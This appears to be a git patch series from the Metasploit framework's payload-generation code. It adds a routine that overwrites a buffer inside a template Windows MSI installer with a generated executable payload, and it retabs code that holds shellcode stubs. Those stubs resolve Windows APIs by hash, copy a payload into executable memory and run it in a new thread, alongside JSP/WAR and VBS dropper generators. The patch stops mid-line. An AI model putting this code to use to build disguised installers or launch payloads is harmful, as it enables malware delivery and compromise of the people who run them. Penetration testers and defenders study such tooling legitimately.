/dev/null +++ b/data/templates/src/msi/template_x86_windows.wxs @@ -0,0 +1,35 @@ + + + + + + + + + + + 0 + + + + + + + + + + fail + + + + + + + + + + + + + diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 33a41ca7c3..cbc7b53834 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -311,7 +311,7 @@ require 'digest/sha1' if(eloc == 0) # place the entry point before the payload poff += 256 eidx = rand(poff-(entry.length + 5)) - else # place the entry pointer after the payload + else # place the entry pointer after the payload poff -= 256 eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length end @@ -533,6 +533,58 @@ require 'digest/sha1' return pe end + def self.to_win32pe_msi(framework, code, opts={}) + pe = to_win32pe(framework, code, opts) + return replace_msi_buffer(pe, opts) + end + + def self.to_win64pe_msi(framework, code, opts={}) + pe = to_win64pe(framework, code, opts) + return replace_msi_buffer(pe, opts) + end + + def self.replace_msi_buffer(pe, opts) + #User cannot specify their own template due to calling to_win32pe + opts[:template].gsub!(/\.exe/, '.msi') + + msi = '' + File.open(opts[:template], "rb") { |fd| + msi = fd.read(fd.stat.size) + } + + section_size = 2**(msi[30..31].unpack('s')[0]) + sector_allocation_table = msi[section_size..section_size*2].unpack('l*') + + buffer_chain = [] + current_secid = 5 # This is closely coupled with the template provided and ideally + # would be calculated from the dir stream? + + until current_secid == -2 + buffer_chain << current_secid + current_secid = sector_allocation_table[current_secid] + end + + buffer_size = buffer_chain.length * section_size + + if pe.size > buffer_size + raise RuntimeError, "MSI Buffer is not large enough to hold the PE file" + end + + pe_block_start = 0 + pe_block_end = pe_block_start + section_size - 1 + + buffer_chain.each do |section| + block_start = section_size * (section + 1) + block_end = block_start + section_size - 1 + pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}") + msi[block_start..block_end] = pe_block + pe_block_start = pe_block_end + 1 + pe_block_end += section_size + end + + return msi + end + def self.to_osx_arm_macho(framework, code, opts={}) # Allow the user to specify their own template @@ -664,7 +716,7 @@ require 'digest/sha1' # This will become a modified copy of the template's original phdr new_phdr = Metasm::EncodedData.new e.segments.each { |s| - # Be lazy and mark any executable segment as writable. Doing + # Be lazy and mark any executable segment as writable. Doing # it this way means we don't have to care about which one # contains .text if s.flags.include? "X" @@ -844,14 +896,14 @@ require 'digest/sha1' var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize - var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize + var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize # put the shellcode bytes into an array bytes = '' @@ -902,7 +954,7 @@ End Sub end def self.to_exe_vbs(exes = '', opts={}) - delay = opts[:delay] || 5 + delay = opts[:delay] || 5 persist = opts[:persist] || false exe = exes.unpack('C*') @@ -1275,23 +1327,23 @@ End Sub def self.to_jsp_war(exe, opts={}) # begin .jsp - var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) - var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) - var_data = Rex::Text.rand_text_alpha(rand(8)+8) + var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) + var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) + var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_counter = Rex::Text.rand_text_alpha(rand(8)+8) - var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) - var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) - var_comb = Rex::Text.rand_text_alpha(rand(8)+8) - var_exe = Rex::Text.rand_text_alpha(rand(8)+8) - var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) - var_proc = Rex::Text.rand_text_alpha(rand(8)+8) - var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) - var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) + var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) + var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) + var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) + var_counter = Rex::Text.rand_text_alpha(rand(8)+8) + var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) + var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) + var_comb = Rex::Text.rand_text_alpha(rand(8)+8) + var_exe = Rex::Text.rand_text_alpha(rand(8)+8) + var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) + var_proc = Rex::Text.rand_text_alpha(rand(8)+8) + var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) + var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" @@ -1386,7 +1438,7 @@ End Sub # Write the data into the .text segment text_offset = opts[:text_offset] || 0x1065 text_max = opts[:text_max] || 0x8000 - pack = opts[:pack] || 'a32768' + pack = opts[:pack] || 'a32768' pe[text_offset, text_max] = [data].pack(pack) # Generic a randomized UUID @@ -1440,89 +1492,89 @@ End Sub ; Note: This function is unable to call forwarded exports. api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EDX - mov eax, [fs:eax+48] ; Get a pointer to the PEB - mov eax, [eax+12] ; Get PEB->Ldr - mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor eax, eax ; Zero EDX + mov eax, [fs:eax+48] ; Get a pointer to the PEB + mov eax, [eax+12] ; Get PEB->Ldr + mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list mov edx, eax - next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name - loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name dec ecx - jnz loop_modname ; Loop untill we have read enough + jnz loop_modname ; Loop untill we have read enough ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later ; Proceed to iterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address ; Computing the module hash + function hash - get_next_func: ; - test ecx, ecx ; (Changed from JECXZ to work around METASM) - jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name + get_next_func: ; + test ecx, ecx ; (Changed from JECXZ to work around METASM) + jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want - loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function ; We now automagically return to the correct caller... - get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp next_mod ; Process this module ^ stub_exit = %Q^ @@ -1532,47 +1584,47 @@ End Sub ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call ebp ; GetVersion(); (AL will = major version and AH will = minor version) - cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 - jl goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... - jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - goodbye: ; We now perform the actual call to the exit function - push byte 0 ; push the exit function parameter - push ebx ; push the hash of the exit function - call ebp ; call EXITFUNK( 0 ); + mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push byte 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call EXITFUNK( 0 ); ^ stub_alloc = %Q^ - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. - delta: ; + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + delta: ; #{stub_block} - start: ; - pop ebp ; Pop off the address of 'api_call' for calling later. + start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: mov esi,PAYLOAD_SIZE allocate: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; Push the length value of the wrapped code block - push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; Push the length value of the wrapped code block + push byte 0 ; NULL as we dont care where the allocation is. + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - mov ebx, eax ; Store allocated address in ebx - mov edi, eax ; Prepare EDI with the new address - mov ecx, esi ; Prepare ECX with the length of the code + mov ebx, eax ; Store allocated address in ebx + mov edi, eax ; Prepare EDI with the new address + mov ecx, esi ; Prepare ECX with the length of the code call get_payload got_payload: - pop esi ; Prepare ESI with the source to copy - rep movsb ; Copy the payload to RWX memory - call set_handler ; Configure error handling + pop esi ; Prepare ESI with the source to copy + rep movsb ; Copy the payload to RWX memory + call set_handler ; Configure error handling exitblock: #{stub_exit} @@ -1596,7 +1648,7 @@ End Sub stub_alloc.gsub!('byte', '') wrapper = "" - # regs = %W{eax ebx ecx edx esi edi ebp} + # regs = %W{eax ebx ecx edx esi edi ebp} cnt_jmp = 0 stub_alloc.each_line do |line| @@ -1645,87 +1697,87 @@ End Sub ; Note: This function is unable to call forwarded exports. api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor edx, edx ; Zero EDX - mov edx, [fs:edx+48] ; Get a pointer to the PEB - mov edx, [edx+12] ; Get PEB->Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor edx, edx ; Zero EDX + mov edx, [fs:edx+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name - loop_modname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name dec ecx - jnz loop_modname ; Loop untill we have read enough + jnz loop_modname ; Loop untill we have read enough ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later ; Proceed to itterate the export address table, - mov edx, [edx+16] ; Get this modules base address - mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address ; Computing the module hash + function hash - get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name ; And compare it to the one we want - loop_funcname: ; - xor eax, eax ; Clear EAX - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA ; We now fix up the stack and perform the call to the desired function... finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function ; We now automagically return to the correct caller... - get_next_mod: ; - pop eax ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp next_mod ; Process this module ^ stub_exit = %Q^ @@ -1735,48 +1787,48 @@ End Sub ; Note: Execution is not expected to (successfully) continue past this block exitfunk: - mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call ebp ; GetVersion(); (AL will = major version and AH will = minor version) - cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 - jl goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... - jne goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - goodbye: ; We now perform the actual call to the exit function - push byte 0 ; push the exit function parameter - push ebx ; push the hash of the exit function - call ebp ; call EXITFUNK( 0 ); + mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user... + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push byte 0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call EXITFUNK( 0 ); ^ stub_alloc = %Q^ - pushad ; Save registers - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. - delta: ; + pushad ; Save registers + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + delta: ; #{stub_block} - start: ; - pop ebp ; Pop off the address of 'api_call' for calling later. + start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. allocate_size: mov esi,PAYLOAD_SIZE allocate: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; Push the length value of the wrapped code block - push byte 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; Push the length value of the wrapped code block + push byte 0 ; NULL as we dont care where the allocation is. + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - mov ebx, eax ; Store allocated address in ebx - mov edi, eax ; Prepare EDI with the new address - mov ecx, esi ; Prepare ECX with the length of the code + mov ebx, eax ; Store allocated address in ebx + mov edi, eax ; Prepare EDI with the new address + mov ecx, esi ; Prepare ECX with the length of the code call get_payload got_payload: - pop esi ; Prepare ESI with the source to copy - rep movsb ; Copy the payload to RWX memory - call set_handler ; Configure error handling + pop esi ; Prepare ESI with the source to copy + rep movsb ; Copy the payload to RWX memory + call set_handler ; Configure error handling exitblock: #{stub_exit} @@ -1785,20 +1837,20 @@ End Sub xor eax,eax ; push dword [fs:eax] ; mov dword [fs:eax], esp - push eax ; LPDWORD lpThreadId (NULL) - push eax ; DWORD dwCreationFlags (0) - push eax ; LPVOID lpParameter (NULL) - push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) - push eax ; SIZE_T dwStackSize (0 for default) - push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) - push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) - call ebp ; Spawn payload thread + push eax ; LPDWORD lpThreadId (NULL) + push eax ; DWORD dwCreationFlags (0) + push eax ; LPVOID lpParameter (NULL) + push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload) + push eax ; SIZE_T dwStackSize (0 for default) + push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL) + push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call ebp ; Spawn payload thread - pop eax ; Skip -; pop eax ; Skip - pop eax ; Skip - popad ; Get our registers back -; sub esp, 44 ; Move stack pointer back past the handler + pop eax ; Skip +; pop eax ; Skip + pop eax ; Skip + popad ; Get our registers back +; sub esp, 44 ; Move stack pointer back past the handler ^ stub_final = %Q^ @@ -1813,7 +1865,7 @@ End Sub stub_alloc.gsub!('byte', '') wrapper = "" - # regs = %W{eax ebx ecx edx esi edi ebp} + # regs = %W{eax ebx ecx edx esi edi ebp} cnt_jmp = 0 cnt_nop = 64 @@ -1896,6 +1948,15 @@ End Sub output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) end + when 'msi' + if (not arch or (arch.index(ARCH_X86))) + output = Msf::Util::EXE.to_win32pe_msi(framework, code, exeopts) + end + + if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) + output = Msf::Util::EXE.to_win64pe_msi(framework, code, exeopts) + end + when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) if (not arch or (arch.index(ARCH_X86))) @@ -1960,7 +2021,7 @@ End Sub end def self.to_executable_fmt_formats - ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] + ['dll','exe','exe-small','msi','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] end # From 465c00c5ffb23ebcf4a5aeaad34190482f107435 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 9 Mar 2013 17:25:59 +0000 Subject: [PATCH 003/210] Msftidy msi sections --- lib/msf/util/exe.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index cbc7b53834..dc20b01811 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -546,7 +546,7 @@ require 'digest/sha1' def self.replace_msi_buffer(pe, opts) #User cannot specify their own template due to calling to_win32pe opts[:template].gsub!(/\.exe/, '.msi') - + msi = '' File.open(opts[:template], "rb") { |fd| msi = fd.read(fd.stat.size) @@ -554,18 +554,18 @@ require 'digest/sha1' section_size = 2**(msi[30..31].unpack('s')[0]) sector_allocation_table = msi[section_size..section_size*2].unpack('l*') - + buffer_chain = [] - current_secid = 5 # This is closely coupled with the template provided and ideally - # would be calculated from the dir stream? - + current_secid = 5 # This is closely coupled with the template provided and ideally + # would be calculated from the dir stream? + until current_secid == -2 buffer_chain << current_secid current_secid = sector_allocation_table[current_secid] end buffer_size = buffer_chain.length * section_size - + if pe.size > buffer_size raise RuntimeError, "MSI Buffer is not large enough to hold the PE file" end @@ -581,8 +581,8 @@ require 'digest/sha1' pe_block_start = pe_block_end + 1 pe_block_end += section_size end - - return msi + + return msi end def self.to_osx_arm_macho(framework, code, opts={}) From 3acb2f561a33c36ea20ce3a2864262287e60a3ff Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 9 Mar 2013 17:59:20 +0000 Subject: [PATCH 004/210] Retab --- lib/msf/util/exe.rb | 486 ++++++++++++++++++++++---------------------- 1 file changed, 243 insertions(+), 243 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index dc20b01811..6243265846 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -311,7 +311,7 @@ require 'digest/sha1' if(eloc == 0) # place the entry point before the payload poff += 256 eidx = rand(poff-(entry.length + 5)) - else # place the entry pointer after the payload + else # place the entry pointer after the 